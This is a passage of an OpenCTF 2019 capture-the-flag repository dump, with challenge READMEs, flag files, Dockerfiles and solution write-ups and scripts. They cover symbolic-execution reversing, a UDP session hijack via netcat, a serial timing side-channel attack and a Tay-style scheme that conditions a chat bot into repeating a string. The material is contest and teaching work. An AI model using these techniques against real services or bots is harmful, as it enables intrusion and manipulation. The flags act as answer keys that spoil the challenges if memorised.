https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/sm5/dist/dump.bin -------------------------------------------------------------------------------- /challenges/sm5/flag.txt: -------------------------------------------------------------------------------- 1 | f149{Reversing the Nintendo 64 CIC - REcon 2015} 2 | -------------------------------------------------------------------------------- /challenges/sm5/sm5_66.S: -------------------------------------------------------------------------------- 1 | LAX 6 2 | OUT 3 | OUT 4 | -------------------------------------------------------------------------------- /challenges/sm5/sm5_66.o: -------------------------------------------------------------------------------- 1 | uu -------------------------------------------------------------------------------- /challenges/sm5/sm5_66.txt: -------------------------------------------------------------------------------- 1 | python3 sm5asm.py -o sm5_66.o sm5_66.S 2 | hexdump -C sm5_66.o 3 | 00000000 56 75 75 |Vuu| 4 | 00000003 5 | 6 | This is wrong, but was my first run. hooray! 7 | -------------------------------------------------------------------------------- /challenges/sm5/sm5_flag.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/sm5/sm5_flag.o -------------------------------------------------------------------------------- /challenges/sm5/sm5emu: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/sm5/sm5emu -------------------------------------------------------------------------------- /challenges/stylist/README.md: -------------------------------------------------------------------------------- 1 | # Stylist 2 | 3 | Description: Decode a flag within an HTML page 4 | 5 | Category: web 6 | 7 | Score: 10 8 | 9 | To test, run `python3 code/test_stylist.py`. 10 | Solution code is in `code/solve_stylist.py`. 11 | 12 | To generate a new challenge from `flag.txt`, 13 | update the `flag.txt` file, then run `python3 code/generate_stylist.py` 14 | and `python3 code/create_yaml.py`. 15 | This will update `stylist.html` and `challenge.yaml`. 16 | 17 | To update the points, fix `POINTS` in `code/config.py` and run 18 | `python3 code/create_yaml.py`. 19 | 20 | -------------------------------------------------------------------------------- /challenges/stylist/SOLUTION.md: -------------------------------------------------------------------------------- 1 | # Stylist Solution 2 | *by Javantea* 3 | Jan 24, 2019 4 | 5 | The flag is in the colors, but they are jumbled. Sort and hex decode. 6 | 7 | ```bash 8 | python3 solve.py 9 | flag{the_rabbit_got_a_hare_cut} 10 | ``` 11 | 12 | The flag is `flag{the_rabbit_got_a_hare_cut}` 13 | -------------------------------------------------------------------------------- /challenges/stylist/code/config.py: -------------------------------------------------------------------------------- 1 | """ 2 | Configuration for the stylist CTF challenge. 3 | """ 4 | import os.path 5 | 6 | 7 | # A path to the flag 8 | FLAG_PATH = os.path.join(os.path.dirname(__file__), '..', 'flag.txt') 9 | 10 | # An output file path 11 | HTML_PATH = os.path.join(os.path.dirname(__file__), '..', 'stylist.html') 12 | 13 | # A path to the scoreboard config file 14 | YAML_PATH = os.path.join(os.path.dirname(__file__), '..', 'challenge.yaml') 15 | 16 | # This challenge's point value 17 | POINTS = 100 18 | 19 | -------------------------------------------------------------------------------- /challenges/stylist/code/create_yaml.py: -------------------------------------------------------------------------------- 1 | """ 2 | Generate and write a YAML config file for the scoreboard. 3 | """ 4 | import os.path 5 | 6 | import config 7 | import generate_stylist 8 | 9 | 10 | TEMPLATE = """category: coding 11 | description: Decode a flag within an HTML page 12 | flags: 13 | - flag: {} 14 | name: Stylist 15 | value: {} 16 | files: 17 | - stylist.html 18 | """ 19 | 20 | 21 | def main(): 22 | """ Write the challenge YAML file. 23 | """ 24 | with open(config.YAML_PATH, 'w') as fp: 25 | flag = generate_stylist.read_flag() 26 | text = TEMPLATE.format(flag, config.POINTS) 27 | fp.write(text) 28 | 29 | 30 | if __name__ == '__main__': 31 | main() 32 | 33 | -------------------------------------------------------------------------------- /challenges/stylist/code/solve_stylist.py: -------------------------------------------------------------------------------- 1 | """ 2 | Solve the "stylist" CTF challenge. 3 | 4 | Sort by

IDs, then convert the hex colors to an ASCII character. 5 | """ 6 | import re 7 | 8 | import config 9 | 10 | 11 | def process_styles(divs): 12 | """ Read values from CSS rules in an HTML file. 13 | """ 14 | for style in divs: 15 | pattern = re.compile(r'n(\d+).* #([a-f0-9]{6})') 16 | match = re.search(pattern, style) 17 | index = int(match[1]) 18 | color = int(match[2], 16) 19 | yield (index, color) 20 | 21 | def solve(): 22 | """ Parse colors in an HTML file, to get a flag. 23 | """ 24 | with open(config.HTML_PATH) as fp: 25 | divs = [ 26 | line.strip() 27 | for line in fp 28 | if 'background' in line 29 | ] 30 | styles = process_styles(divs) 31 | numbers = [number for _, number in sorted(styles)] 32 | result = ''.join(chr(number) for number in numbers) 33 | return result 34 | 35 | 36 | def main(): 37 | """ Solve the challenge, and print the solution. 38 | """ 39 | solution = solve() 40 | print(solution) 41 | 42 | 43 | if __name__ == '__main__': 44 | main() 45 | 46 | -------------------------------------------------------------------------------- /challenges/stylist/code/test_stylist.py: -------------------------------------------------------------------------------- 1 | """ 2 | Test solving the "stylist" CTF challenge 3 | """ 4 | import unittest 5 | 6 | import generate_stylist 7 | import solve_stylist 8 | 9 | 10 | class TestStylist(unittest.TestCase): 11 | """ Test solutions. 12 | """ 13 | @classmethod 14 | def setUpClass(cls): 15 | """ Read the correct flag. 16 | """ 17 | cls.flag = generate_stylist.read_flag() 18 | 19 | def test_solve(self): 20 | """ Test a correct solution. 21 | """ 22 | answer = solve_stylist.solve() 23 | self.assertEqual(answer, self.flag) 24 | 25 | def test_wrong(self): 26 | """ Test an incorrect solution. 27 | """ 28 | wrong = 'wrong' 29 | self.assertNotEqual(wrong, self.flag) 30 | 31 | 32 | if __name__ == '__main__': 33 | unittest.main() 34 | 35 | -------------------------------------------------------------------------------- /challenges/stylist/flag.txt: -------------------------------------------------------------------------------- 1 | flag{the_rabbit_got_a_hare_cut} 2 | -------------------------------------------------------------------------------- /challenges/super-efficient-key-store/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | 3 | RUN apk add --no-cache musl-dev go 4 | 5 | # Configure Go 6 | ENV GOROOT /usr/lib/go 7 | ENV GOPATH /go 8 | ENV PATH /go/bin:$PATH 9 | 10 | RUN mkdir -p ${GOPATH}/bin ${GOPATH}/src 11 | 12 | COPY src/ /go/src/udp 13 | RUN go install udp 14 | 15 | WORKDIR /go/src/udp 16 | 17 | ENTRYPOINT udp 18 | 19 | EXPOSE 12000-13000/udp 20 | -------------------------------------------------------------------------------- /challenges/super-efficient-key-store/README.md: -------------------------------------------------------------------------------- 1 | # Super Eficient Key Store 2 | 3 | *by ColdwaterQ* 4 | 5 | ## Score 6 | 100 7 | 8 | ## Description 9 | Check out this super cool Key store I made, it uses UDP to be super eficient and remove all that pesky tcp overhead. Mine is running on challenges.openctf.cat but I blocked the port so you will have to run your own. Feel free to remove that bit about "flag" some guy asked me to add it for his special project. 10 | 11 | 12 | ## Category 13 | misc 14 | 15 | 16 | ## To run 17 | This uses UDP so you need to start the docker file exposing those ports. 18 | 19 | Note that the distributed source and server source differ. This was to prevent people from causing DoS scenarios, and allow it to be solveable without manually needing to setup connections. But it was tested considerably to try try and ensure that when used the server would act exactly like the client after setting it up. -------------------------------------------------------------------------------- /challenges/super-efficient-key-store/SOLUTION.md: -------------------------------------------------------------------------------- 1 | 1. Review the provided source code and run it locally if you want. 2 | 2. Observe that you can directly connect to the UDP ports after the user has entered the secret to hijack their session 3 | 3. Send a UDP packet containing "get flag" to each port between 12000 and 13000. 4 | 4. To test the solution you can run "nc -u 104.248.208.235 12021" and then type "get flag" and press Enter 5 | 6 | port 12021 is hard coded to be the port with the flag. -------------------------------------------------------------------------------- /challenges/super-efficient-key-store/flag.txt: -------------------------------------------------------------------------------- 1 | flag{n0th!ng_could_g0_wrong} 2 | -------------------------------------------------------------------------------- /challenges/super-efficient-key-store/postdeploy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo publishing UDP ports 4 | docker service update --publish-add 12000-13000:12000-13000/udp "$service_name" 5 | docker service inspect super-efficient-key-store | jq -e '.[0].Spec.TaskTemplate.Placement.Constraints | .[] | select(. == "node.hostname==challenges-1")' || \ 6 | docker service update --constraint-add 'node.hostname==challenges-1' "$service_name" 7 | -------------------------------------------------------------------------------- /challenges/super-efficient-key-store/src/flag.txt: -------------------------------------------------------------------------------- 1 | flag{n0th!ng_could_g0_wrong} -------------------------------------------------------------------------------- /challenges/tae/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | 3 | RUN apk update && apk add --no-cache --virtual=go_build \ 4 | musl-dev \ 5 | go 6 | 7 | # Configure Go 8 | ENV GOROOT /usr/lib/go 9 | ENV GOPATH /go 10 | ENV PATH /go/bin:$PATH 11 | 12 | RUN mkdir -p ${GOPATH}/bin ${GOPATH}/src 13 | 14 | COPY src/ /${GOPATH}/src/tae 15 | COPY src/taetae.txt /taetae.txt 16 | RUN go install tae 17 | RUN rm -rf ${GOPATH}/src 18 | RUN apk del go_build 19 | 20 | WORKDIR / 21 | 22 | ENTRYPOINT ["/go/bin/tae"] 23 | 24 | EXPOSE 5000 25 | -------------------------------------------------------------------------------- /challenges/tae/README.md: -------------------------------------------------------------------------------- 1 | # TaeandMe 2 | 3 | *by ColdwaterQ* 4 | 5 | ## Score 6 | 84 7 | 8 | ## Description 9 | Haha, let's chat! 10 | 11 | ## Category 12 | misc 13 | -------------------------------------------------------------------------------- /challenges/tae/SOLUTION.md: -------------------------------------------------------------------------------- 1 | 1. You connect to the port, and the bot challenges you to get it to say a specific random string 2 | 1. Pick something that is in it's vocabulary 3 | 1. Say that thing to it, and it will respond with a specific response 4 | 1. Then say a string containing the magic string 5 | 1. Repeat the previous two steps until you feel good inside 6 | 1. Say the "specific response" repeatedly until the bot says what you conditioned it to 7 | 8 | This is a severly simplified version of how Tay (Microsoft's bot) was made to be racist and mean. -------------------------------------------------------------------------------- /challenges/tae/flag.txt: -------------------------------------------------------------------------------- 1 | flag{1t_wuz_ma!d_up_:clap:} 2 | -------------------------------------------------------------------------------- /challenges/tae/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import re 3 | import sys 4 | import socket 5 | 6 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 7 | sock.connect(("localhost", 5000)) 8 | 9 | # get the key 10 | msg = sock.recv(1024) 11 | key = re.match( 12 | "If you can make me say ([0-9a-f]{40}) then I will tell you the flag.", msg.decode("utf-8") 13 | ).group(1) 14 | 15 | for _ in range(2300): 16 | sock.send(f"{key} {msg.decode()}\n".encode()) 17 | resp = sock.recv(1024).decode() 18 | if key in resp: 19 | while True: 20 | if "flag{" in resp: 21 | print(resp) 22 | sys.exit(0) 23 | else: 24 | resp = sock.recv(1024).decode() 25 | -------------------------------------------------------------------------------- /challenges/tellme/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -W -Wall 3 | 4 | all: dist/tellme 5 | 6 | dist/tellme: src/tellme.c 7 | $(CC) $(CFLAGS) -o $@ $< 8 | strip -s $@ 9 | 10 | clean: 11 | rm dist/tellme 12 | -------------------------------------------------------------------------------- /challenges/tellme/README.md: -------------------------------------------------------------------------------- 1 | TellMe 2 | ====== 3 | Category 4 | -------- 5 | reversing 6 | 7 | Description 8 | ----------- 9 | ``` 10 | OK, do you think you know my secret? 11 | See if you can guess what I'm expecting to hear. 12 | ``` 13 | 14 | Setup 15 | ----- 16 | ``` 17 | apt install python3-pip 18 | pip3 install angr 19 | ``` 20 | 21 | Score 22 | ----- 23 | 10 24 | 25 | Solution 26 | -------- 27 | Implemented in `solve.py` 28 | -------------------------------------------------------------------------------- /challenges/tellme/dist/tellme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tellme/dist/tellme -------------------------------------------------------------------------------- /challenges/tellme/flag.txt: -------------------------------------------------------------------------------- 1 | flag{whataboutacalico} 2 | -------------------------------------------------------------------------------- /challenges/tellme/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import time 3 | import angr 4 | import claripy 5 | 6 | before = time.time() 7 | 8 | binary = "./dist/tellme" 9 | proj = angr.Project(binary) 10 | 11 | start = claripy.BVV(b"flag{") 12 | flag = claripy.BVS("flag", 16*8) 13 | end = claripy.BVV(b"}\n") 14 | flagsym = claripy.Concat(start, flag, end) 15 | 16 | opts = angr.options.unicorn.union({"ZERO_FILL_UNCONSTRAINED_REGISTERS"}) 17 | state = proj.factory.full_init_state( 18 | args=[binary], 19 | add_options=opts, 20 | stdin=flagsym 21 | ) 22 | 23 | for c in flag.chop(8): 24 | state.solver.add(c != 0) 25 | state.solver.add(c != ord("\n")) 26 | state.solver.add(c >= ord(" ")) 27 | state.solver.add(c <= ord("~")) 28 | 29 | simman = proj.factory.simulation_manager(state) 30 | #simman.explore(find=lambda s: b"You got it!" in s.posix.dumps(1)) 31 | simman.explore(find=0x004014aa, avoid=[0x004014b8]) 32 | for s in simman.found: 33 | print(s.solver.eval(flagsym, cast_to=bytes)) 34 | 35 | after = time.time() 36 | print("Time elapsed: {}".format(after - before)) 37 | -------------------------------------------------------------------------------- /challenges/tellmemore/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -W -Wall 3 | 4 | all: dist/tellmemore 5 | 6 | dist/tellmemore: src/tellmemore.c 7 | $(CC) $(CFLAGS) -o $@ $< 8 | strip -s $@ 9 | 10 | clean: 11 | rm dist/tellmemore 12 | -------------------------------------------------------------------------------- /challenges/tellmemore/README.md: -------------------------------------------------------------------------------- 1 | tellmemore 2 | ========== 3 | Category 4 | -------- 5 | reversing 6 | 7 | Description 8 | ----------- 9 | ``` 10 | Well, we realized tellme was broken.. 11 | We fixed one problem, but there might still be something wrong with it. 12 | ``` 13 | 14 | Setup 15 | ----- 16 | ``` 17 | apt install python3-pip 18 | pip3 install angr 19 | ``` 20 | 21 | Score 22 | ----- 23 | 48 24 | 25 | Solution 26 | -------- 27 | 28 | -------------------------------------------------------------------------------- /challenges/tellmemore/dist/tellmemore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tellmemore/dist/tellmemore -------------------------------------------------------------------------------- /challenges/tellmemore/flag.txt: -------------------------------------------------------------------------------- 1 | flag{w3l0vec4tz} 2 | -------------------------------------------------------------------------------- /challenges/tinyhw0/README.md: -------------------------------------------------------------------------------- 1 | name: tinyhw0 2 | type: hardware 3 | author: AnthraX101 4 | final score: 38 points 5 | 6 | ## Overview 7 | 8 | The chip carrier has a series of odd dots along the outside of it. I wonder what it could mean... 9 | 10 | See "unsolved.jpg" 11 | 12 | ## Build 13 | 14 | Don't. Like...seriously, you need ~mm precision across all the components. 15 | 16 | ## Run 17 | 18 | How can you run a slab of acrylic? 19 | -------------------------------------------------------------------------------- /challenges/tinyhw0/SOLUTION.md: -------------------------------------------------------------------------------- 1 | The dots look like braille, but they aren't. They're actually the English plaintext spread across the three hexagonal cells in the chip carrier. 2 | 3 | The intended solve for independent teams is to break the carrier across the 2 score lines on the carrier made for this purpose. Then stack them all together, facing up, with the semicircles aligned and the message should appear around the rim. 4 | 5 | Alternatively, for teams that partner up or ask to borrow chip carriers, if you stack three of the carriers together, facing up and rotated 120 degrees relative to each other, 3 copies of the message will show up on the rim without damaging the original design of the carrier. 6 | 7 | See “solved1.jpg” and “solved2.jpg”. Because of the 3d-nature of the acrylic the camera can’t really capture all layers lined up as well as it appears in person, so two pictures are needed for the full message. 8 | -------------------------------------------------------------------------------- /challenges/tinyhw0/flags.txt: -------------------------------------------------------------------------------- 1 | FLAG{4_THE_LULZ} 2 | flag{4_THE_LULZ} 3 | flag{4_the_lulz} -------------------------------------------------------------------------------- /challenges/tinyhw0/solved1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/solved1.jpg -------------------------------------------------------------------------------- /challenges/tinyhw0/solved2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/solved2.jpg -------------------------------------------------------------------------------- /challenges/tinyhw0/src/TestFlag1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/TestFlag1.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/TestFlag2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/TestFlag2.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/TestFlag3.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/TestFlag3.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/TestFlag4.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/TestFlag4.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/octf-logo-greyscale2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/octf-logo-greyscale2.png -------------------------------------------------------------------------------- /challenges/tinyhw0/src/octf2019-single.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/octf2019-single.pdf -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output1-0.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output1-0.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output1-1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output1-1.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output1-2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output1-2.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output1-Crosscheck.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output1-Crosscheck.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output2-0.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output2-0.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output2-1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output2-1.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output2-2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output2-2.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output2-Crosscheck.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output2-Crosscheck.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output3-0.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output3-0.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output3-1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output3-1.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output3-2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output3-2.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output3-Crosscheck.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output3-Crosscheck.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output4-0.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output4-0.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output4-1.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output4-1.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output4-2.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output4-2.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/src/output4-Crosscheck.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/src/output4-Crosscheck.bmp -------------------------------------------------------------------------------- /challenges/tinyhw0/unsolved.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw0/unsolved.jpg -------------------------------------------------------------------------------- /challenges/tinyhw1/README.md: -------------------------------------------------------------------------------- 1 | # tinyhw1 2 | 3 | ## Score 4 | 100 5 | 6 | ## Description 7 | I made a discovery today. I found a computer. Wait a minute, this is cool. Welcome to Level 1. 8 | 9 | ## Category 10 | hardware 11 | 12 | ## Build 13 | 14 | To write the program to the chip with the USB tiny AVR programmer see `burn.sh` script. 15 | Assumes Arduino installed to `/opt/arduino-1.8.9/`, only requires `avrdude` other versions 16 | may work but not tested. 17 | 18 | 19 | ``` 20 | ./burn.sh write 21 | ``` 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /challenges/tinyhw1/SOLUTION.md: -------------------------------------------------------------------------------- 1 | 2 | # Solution 3 | 4 | There are three discrete but sequential challenges on the ATTiny85 hw hacking challenge. 5 | 6 | The following PDF shows the PIN diagram, note that pins 0-4 are labeled in blue. 7 | https://cdn.sparkfun.com/assets/2/8/b/a/a/Tiny_QuickRef_v2_2.pdf 8 | 9 | 10 | ## Level 1 11 | 12 | The goal of level one is to discover that pins 3 & 4 are RX and TX for a UART serial 13 | connection respectively. This can be discovered rather quickly with a logic analyzer 14 | or by trial and error with an FTDI friend or other UART cable. The trick is to calculate 15 | the appropriate BAUD rate by analyzing the signal frequency. Also, there are only so many 16 | standard BAUD rates, so brute force would be simple. Once the player has the UART connection 17 | to their laptop (e.g. screen), they will discover the chip is broadcasting "OpenCTF 2019" 18 | every few seconds. The chip is waiting for user input on the serial connection, merely 19 | pressing enter will suffice, and it will print the first flag. 20 | 21 | ``` 22 | $ screen -S foo /dev/ttyUSB0 19200 23 | 24 | OpenCTF 2019 25 | OpenCTF 2019 26 | OpenCTF 2019 27 | OpenCTF 2019 28 | OpenCTF 2019 29 | Congratz, the level 1 flag is: tHe_bEau7y_0f_7h3_BAUD 30 | Welcome to level 2! 31 | ``` 32 | 33 | -------------------------------------------------------------------------------- /challenges/tinyhw1/data/tinyhw123_capture_level_1.sr: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw1/data/tinyhw123_capture_level_1.sr -------------------------------------------------------------------------------- /challenges/tinyhw1/data/tinyhw123_capture_level_3.sr: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/tinyhw1/data/tinyhw123_capture_level_3.sr -------------------------------------------------------------------------------- /challenges/tinyhw1/flag.txt: -------------------------------------------------------------------------------- 1 | tHe_bEau7y_0f_7h3_BAUD 2 | -------------------------------------------------------------------------------- /challenges/tinyhw1/src/burn.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | AVRDUDE="/opt/arduino-1.8.9/hardware/tools/avr/bin/avrdude" 4 | AVRCONF="/opt/arduino-1.8.9/hardware/tools/avr/etc/avrdude.conf" 5 | AVRCMD="$AVRDUDE -C$AVRCONF -v -v -pattiny85 -cusbtiny" 6 | # alias my-avrdude="$AVRCMD" 7 | 8 | INOHEX="tinyhw123.ino.hex" 9 | 10 | if [ "$1" == "read" ]; then 11 | 12 | # flash 13 | $AVRCMD -U flash:r:flash.bin:r 14 | 15 | # fuses 16 | $AVRCMD -U efuse:r:efuse.bin:r 17 | $AVRCMD -U hfuse:r:hfuse.bin:r 18 | $AVRCMD -U lfuse:r:lfuse.bin:r 19 | 20 | # eeprom 21 | $AVRCMD -U eeprom:r:eeprom.bin:r 22 | 23 | # lock 24 | $AVRCMD -U lock:r:lock.bin:r 25 | 26 | elif [ "$1" == "write" ]; then 27 | 28 | # erase chip, set fuses 29 | $AVRCMD -e -U efuse:w:0xff:m -U hfuse:w:0xdf:m -U lfuse:w:0xe2:m 30 | 31 | # write flash 32 | $AVRCMD -U flash:w:$INOHEX:i 33 | 34 | # lock 35 | $AVRCMD -U lock:w:0xfc:m 36 | 37 | else 38 | echo "$0 [read|write]" 39 | 40 | fi 41 | 42 | -------------------------------------------------------------------------------- /challenges/tinyhw2/README.md: -------------------------------------------------------------------------------- 1 | # tinyhw2 2 | 3 | ## Score 4 | 100 5 | 6 | ## Description 7 | Welcome to Level 2. Do not measure yourself by the progress of your existence, but rather, look through a different lens. 8 | 9 | ## Category 10 | hardware 11 | 12 | -------------------------------------------------------------------------------- /challenges/tinyhw2/SOLUTION.md: -------------------------------------------------------------------------------- 1 | 2 | # Solution 3 | 4 | There are three discrete but sequential challenges on the ATTiny85 hw hacking challenge. 5 | 6 | The following PDF shows the PIN diagram, note that pins 0-4 are labeled in blue. 7 | https://cdn.sparkfun.com/assets/2/8/b/a/a/Tiny_QuickRef_v2_2.pdf 8 | 9 | 10 | ## Level 2 11 | 12 | This one is harder. The serial terminal prompts for "flag:" every few seconds and the user 13 | needs to enter the flag. Careful analysis will reveal a timing side channel attack in the 14 | string compare. This has been very carefully orchestrated to be solvable with the inherently 15 | slow connection of a serial terminal. The solution is to write a script to iterate through 16 | the alphabet and compare the timing side channel to iteratively brute force each character 17 | of the 20 character flag (ascii lowercase). 18 | 19 | See `solve.py` script for complete implementation of side channel attack. 20 | 21 | ``` 22 | flag: 23 | flag: 24 | flag: 25 | flag: uareahwhackerxoruart <---- Woot! That's the flag :) 26 | Well done angelheaded hipster; the stary dynamo awaits. 27 | Welcome to level 3! 28 | ``` 29 | 30 | -------------------------------------------------------------------------------- /challenges/tinyhw2/flag.txt: -------------------------------------------------------------------------------- 1 | uareahwhackerxoruart 2 | -------------------------------------------------------------------------------- /challenges/tinyhw3/README.md: -------------------------------------------------------------------------------- 1 | # tinyhw3 2 | 3 | ## Score 4 | 100 5 | 6 | ## Description 7 | Welcome to Level 3; better go have another look. 8 | 9 | ## Category 10 | hardware 11 | 12 | -------------------------------------------------------------------------------- /challenges/tinyhw3/SOLUTION.md: -------------------------------------------------------------------------------- 1 | 2 | # Solution 3 | 4 | There are three discrete but sequential challenges on the ATTiny85 hw hacking challenge. 5 | 6 | The following PDF shows the PIN diagram, note that pins 0-4 are labeled in blue. 7 | https://cdn.sparkfun.com/assets/2/8/b/a/a/Tiny_QuickRef_v2_2.pdf 8 | 9 | 10 | ## Level 3 11 | 12 | Once the level 2 flag is entered correctly, the chip welcomes the player level 3 and goes 13 | silent and does not accept any additional input on the serial connection. The player will 14 | need to use a logic analyzer, voltmeter, or LED to discover that PIN 2 is now actively 15 | broadcasting a signal (it was not active during level 1). The signal timing has been carefully 16 | chosen to be solvable without a logic analyzer and common logic analyzer software will not 17 | correctly auto-decode the signal. It is Morse code. However, if they hook up an LED they can 18 | use an android app to decode the Morse, it's slow enough that it could be tediously transcribed 19 | by hand (possible but really hard, take a video and slow it down would help). 20 | 21 | 22 | ``` 23 | -. ...-- ...- ...-- .-. ..--.- ... . -. -.. ..--.- .- ..--.- -... ----- -.-- ..--.- --... --- ..--.- -.. ----- ..--.- .- ..--.- .-- ----- -- .- -. ..... ..--.- .--- --- -... 24 | N3V3R_SEND_A_B0Y_7O_D0_A_W0MAN5_JOB 25 | ``` 26 | 27 | 28 | -------------------------------------------------------------------------------- /challenges/tinyhw3/flag.txt: -------------------------------------------------------------------------------- 1 | N3V3R_SEND_A_B0Y_7O_D0_A_W0MAN5_JOB 2 | -------------------------------------------------------------------------------- /challenges/unic0de/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | -------------------------------------------------------------------------------- /challenges/unic0de/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | ENV chdir / 4 | 5 | COPY src/server.py ${chdir} 6 | COPY src/unic0de.py ${chdir} 7 | 8 | WORKDIR ${chdir} 9 | 10 | # UDP port 2044 11 | ENTRYPOINT ["python", 